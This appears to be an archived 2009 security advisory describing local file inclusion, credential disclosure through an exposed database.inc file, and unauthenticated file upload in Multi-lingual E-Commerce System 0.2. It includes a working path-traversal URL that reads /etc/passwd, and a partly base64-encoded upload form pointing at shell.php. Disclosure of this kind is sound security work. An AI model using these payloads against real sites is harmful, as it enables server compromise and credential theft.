TUCoPS :: HP Unsorted M :: va3228.htm

Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities
Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities
Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities



--001636c5a7364015950467ea1c3f
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Multi-lingual E-Commerce System
[+] Version: 0.2
[+] Website: http://sourceforge.net/projects/mlecsphp/ 

[+] Bugs: [A] Local File Inclusion
          [B] Information Disclosure
          [C] Arbitrary File Upload

[+] Exploitation: Remote
[+] Date: 19 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com 


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Local File Inclusion

[-] Risk: hight
[-] File affected: index.php

This bug allows a guest to include local files.
The following is the vulnerable code:

...

if (isset($_GET['lang'])) { $_SESSION['lang'] = $_GET['lang'];}

...



...


- [B] Information Disclosure

[-] Risk: medium
[-] File affected: database.inc

This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the
content is visible.

- [C] Arbitrary File Upload

[-] Risk: medium
[-] File affected: product_image.php

In the admin directory there are no files that
check if the user has admin privileges. For this
reason a guest can execute the files contained in
this directory. product_image.php contains a form
that allows to upload files on the system but
does not contain functions that check the files
extensions, however a user can upload arbitrary
files.


*************************************************

[+] Code


- [A] Local File Inclusion

http://www.site.com/path/index.php?page=../../../../../etc/passwd 

--001636c5a7364015950467ea1c3f
Content-Type: text/plain; charset=windows-1257; 
	name="Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities-19042009.txt"
Content-Disposition: attachment; 
	filename="Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities-19042009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ftpwbbac0

KioqKioq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ZT0iL3No
ZWxsLnBocCI+PGJyPgoJIDxsYWJlbCBmb3I9InVzZXJmaWxlIj5GaWxlOjwvbGFiZWw+CgkgPGlu
cHV0IG5hbWU9InVzZXJmaWxlIiB0eXBlPSJmaWxlIj4KCSA8aW5wdXQgdHlwZT0iaGlkZGVuIiBu
YW1lPSJmaWxlX3BhdGgiPjxicj48YnI+CgkgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVw
bG9hZCI+CiAgIDwvZm9ybT4KICA8L2JvZHk+CjwvaHRtbD4KCgoqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgpbK10gRml4CgpObyBmaXguCgoKKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg=--001636c5a7364015950467ea1c3f--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH